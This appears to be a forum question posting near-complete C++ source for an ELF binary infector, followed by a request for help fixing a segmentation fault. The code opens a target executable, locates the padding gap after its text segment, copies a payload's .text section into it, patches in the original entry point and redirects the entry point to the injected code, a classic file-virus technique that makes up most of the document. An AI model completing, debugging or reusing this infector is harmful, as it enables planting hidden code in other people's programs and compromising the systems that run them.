segmentation core dump c++

Question

#include <iostream>
#include <fcntl.h>
#include <sys/stat.h>
#include <elf.h>
#include <sys/mman.h>
#include <cstring>
#include <unistd.h>
#include <stdio.h>

int f_open(char *filename, void** data, int& len);
Elf64_Phdr *find_gap(void *d, int& p, int& len);
Elf64_Shdr *find_section(void *data, char *string);
int get_file_size(const int& fd);

int f_open(char* filename, void** data, int& len){
    int fd;
    fd = open(filename,O_APPEND|O_RDWR,0);
    if(fd <0)
        exit(3);
    std::cout<<fd;
    len = get_file_size(fd);
    std::cout<<len;
    if((*data = mmap(0, len, PROT_READ| PROT_WRITE| PROT_EXEC, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        //printf(filename);
        exit(4);
    }
    return fd;
}

int get_file_size(const int& fd) {
    struct stat _info;

    fstat (fd, &_info);

    return _info.st_size;
}

Elf64_Phdr* find_gap(void *d,const int& size, int& p, int& len){
    Elf64_Ehdr *elf_hdr = (Elf64_Ehdr *) d;
    Elf64_Phdr *elf_seg, *text_seg;
    int n_seg = elf_hdr->e_phnum;
    int text_end, gap=size;

    elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);

    for (int i = 0; i < n_seg; i++)
    {
        if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011)
        {
            text_seg = elf_seg;
            text_end = elf_seg->p_offset + elf_seg->p_filesz;
        }
        else
        {
            if (elf_seg->p_type == PT_LOAD &&
                (elf_seg->p_offset - text_end) < gap)
            {
                gap = elf_seg->p_offset - text_end;
            }
        }
        elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg
                                  + (unsigned int) elf_hdr->e_phentsize);
    }

    p = text_end;
    len = gap;

    return text_seg;
}
Elf64_Shdr *find_section(void *data, char *name){
    char        *sname;
    int         i;
    Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
    const char *sh_strtab_p = (char*)data + shdr[elf_hdr->e_shstrndx].sh_offset;

    for (i = 0; i < elf_hdr->e_shnum; i++)
    {
        sname = (char*) (sh_strtab_p + shdr[i].sh_name);
        if (!strcmp (sname, name))  return &shdr[i];
    }

    return NULL;
}
int mem_subst (void *m, int len, long pat, long val)
{
    unsigned char *p = (unsigned char*)m;
    long v;
    int r;

    for (int i = 0; i < len; i++)
    {
        v = *((long*)(p+i));
        r = v ^ pat; // Now I know how to XOR in C

        if (r ==0)
        {
            printf ("+ Pattern %lx found at offset %d -> %lx\n", pat, i, val);
            *((long*)(p+i)) = val;
            return 0;
        }
    }
    return -1;
}

int main(int argc, char** argv) {
    void *d,*d1;
    int target_fd, payload_fd;
    int fsize, fsize1;
    int p, len;

    if(argc!=3)
        exit(1);

    target_fd = f_open(argv[1],&d,fsize);


    Elf64_Ehdr *elf_hdr = (Elf64_Ehdr *) d;
    Elf64_Addr ep = elf_hdr->e_entry;

    Elf64_Phdr  *t_text_seg = find_gap(d, fsize, p, len);
    Elf64_Addr  *base = (Elf64_Addr *)(t_text_seg->p_vaddr);



    payload_fd = f_open(argv[2],&d1,fsize1);

    Elf64_Shdr *p_text_sec = find_section (d1, ".text");

    if (p_text_sec->sh_size > len)
    {
        fprintf (stderr, "- Payload to big, cannot infect file.\n");
        exit (2);
    }

    memmove (d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size);

    mem_subst (d+p, p_text_sec->sh_size, 0x11111112, (long)ep);

    elf_hdr->e_entry = (Elf64_Addr) (base + p);

    close (payload_fd);
    close (target_fd);

    return 0;
}

Trying to make elf-infector but getting problem, file that should be infected becomes infected but I get segmentation coredump. I think that problem is when I`m changing file that only readble but I dont know how o fix this. I think that problem may occur in my function mem_subst I've tried all sorts of variations to solve this problem and I am really at a loss. If anyone has any solution to this problem, it would be very appreciated.

Thanks